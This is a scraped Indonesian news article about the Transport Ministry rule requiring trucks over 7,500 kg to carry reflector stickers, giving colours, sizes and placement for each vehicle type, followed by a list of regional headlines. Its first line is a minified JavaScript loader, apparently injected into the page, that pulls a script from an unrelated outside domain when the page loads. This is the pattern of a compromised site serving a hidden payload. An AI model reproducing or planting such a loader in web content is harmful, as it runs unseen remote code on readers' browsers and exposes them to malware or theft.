(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Otomotif

Pasang Stiker Reflektor Truk Tidak Boleh Sembarangan, Ini Aturannya


KANALKALIMANTAN.COM – Para pengguna jalan mungkin sering melihat berbagai jenis modifikasi atau penempelan aksesoris pada mobil jenis truk. Paling sering menggunakan cutting sticker, bisa juga mengecat badan karoseri truk agar terlihat lebih menarik.  Namun, ada aturan soal stiker yang wajib dimiliki oleh truk. Yaitu reflector sticker atau stiker berkemampuan memantulkan cahaya.

Dalam rangka menekan tingginya angka kecelakaan di jalan raya, Kementerian Perhubungan kini mewajibkan truk untuk memasang stiker reflektor. Stiker reflektor berguna sebagai pemantul cahaya di badan truk.

Kebijakan ini tertuang dalam Peraturan Direktur Jenderal Perhubungan Darat No.SK 5311/AJ.410/DRJD/2018 tentang Pedoman Teknis Alat Pemantul Cahaya Tambahan pada Kendaraan Bemotor, Kereta Gandengan dan Kereta Tempelan.

Di peraturan ini, stiker reflektor atau pemantul cahaya harus terpasang pada kendaraan yang memiliki Jumlah Berat Bruto (JBB) lebih dari 7.500 kg. Sementara itu, warna dan ukuran stiker reflector yang digunakan harus didasarkan oleh ketentuan sebagai berikut :

1.Merah. Warna merah digunakan di bagian belakang kendaraan. Ketentuannya, stiker setidaknya memiliki lebar 600 mm dan tinggi 50 mm. Warna merah digunakan sebagai simbol jaga jarak bagi kendaraan yang ada di belakang.

2.Kuning. Warna kuning ditempel pada bagian samping mobil bus dan mobil barang. Ketentuan ukuran stiker reflektor warna kuning yakni dengan lebar 600 mm dengan tinggi 50 mm.

3.Putih. Warna putih ditempel pada bagian depan kereta gandengan dan kereta tempelan. Ketentuan ukuran stiker ini yakni 600 mm pada bagian lebarnya dan 50 mm untuk ketinggiannya.

Selain mengetahui ketentuan ukuran stiker reflektor, pemilik atau pengendara juga perlu mengetahui posisi penempelan stiker reflektor itu.

Berikut penjelasan penempatan stiker reflektor berdasarkan jenis kendaraannya :

1.Bus Sedang. Pada bus berdimensi sedang, stiker reflektortor warna merah diletakkan di bagian belakang dekat kaca belakang. Jarak antara kaca dan stiker reflektor tidak melebihi 400 mm dan dibuat menjadi tiga bagian putus-putus dengan masing-masing panjangnya 600 mm. Sementara itu, stiker reflektor kuning ditempatkan pada bagian samping body di antara kaca dan ban.

2.Mobil Barang dengan sumbu belakang ganda atau lebih, seperti mobil dump truck, stiker reflektor merah ditempel pada bagian belakang karoseri dengan bentuk yang mengotak mengelilingi karoseri. Stiker reflektor kuning ditempatkan pada bagian samping bak truk dengan bentuk mengelilingi karoseri seperti pada bagian belakang.

Sementara itu, untuk ukuran stiker dan ketentuan lokasi secara detail adalah di bawah ini:

Mobil Boks. Stiker reflektor merah ditempel pada bagian belakang boks dengan bentuk yang mengotak mengelilingi boks. Stiker reflektor kuning ditempatkan pada bagian samping boks truk dengan bentuk mengelilingi boks seperti pada bagian belakang.

Mobil Mixer. Stiker reflektor merah ditempel pada bagian belakang mixer tepatnya pada bagian bawah di sebelah kanan dan kiri. Stiker reflektor kuning ditempatkan pada bagian bawah samping truk mulai dari kepala truk sampai dengan tabung mixer truk.

Mobil Tangki. Stiker reflektor merah ditempel pada bagian belakang tangki dengan bentuk yang mengikuti tangki itu. Stiker reflektor kuning ditempatkan pada bagian samping tangki dan di tempel pada bagian bawah tangka dari depan ke belakang.

Mobil Penarik. Pada mobil truk penarik ketentuan stiker reflektor yang wajib ditempel berbeda lagi. Stiker reflektor merah ditempel pada area belakang kepala truk tepatnya di sudut kanan dan kiri atas truk. Stiker warna sama juga ditempel pada bagian kanan dan kiri dekat ban paling belakang. Sementara itu, stiker reflektor kuning ditempel memanjang di bagian samping mulai dari bagian kepala truk sampai ke bagian belakang.

Kereta Gandengan. Bagian gandengan juga membutuhkan stiker reflektor, warna merah ditempelkan pada bagian paling belakang gandengan dengan bentuk mengotak mengikuti karoseri truk. Sementara itu, sticker reflector kuning juga ditempatkan di bagian samping gandengan dengan bentuk mengotak.

Kereta Tempelan. Bagian kereta tempelan juga tidak luput dari penggunaan stiker reflektor. Warna kuning digunakan pada bagian samping secara putus-putus dari depan ke belakang.

Nah, penggunaan stiker reflektor sangat berguna untuk menjaga keamanan pengemudi truk selama perjalanan. Dengan menempelkan stiker reflektor, diharapkan angka kecelakaan akan menurun mengingat kewaspadaan pengemudi akan meningkat dengan hadirnya stiker jenis ini. (suara.com)

Reporter : suara.com
Editor : kk

 


Al Ghifari

Recent Posts

Pemerintah Kabupaten Banjar Gelar Sosialisasi Core Values ASN BerAKHLAK

KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More

2 jam ago

Launching Calendar of Event 2025, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More

3 jam ago

Koordinator Posko Tim Banjarbaru Hanyar Diancam Dihabisi, Dikirimi Dua Surat Kaleng

KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More

3 jam ago

KPU Banjarbaru Siap Hadapi Gugatan MK

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More

8 jam ago

Original Series V+ PayLater: Amanda Manopo Terjerat Hutang Pinjaman Online Puluhan Juta

KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More

10 jam ago

Sowan ke Bakti Kementerian Komdigi, Komisi II dan Diskominfo Kotabaru Perjuangkan Akses Internet

KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More

10 jam ago

This website uses cookies.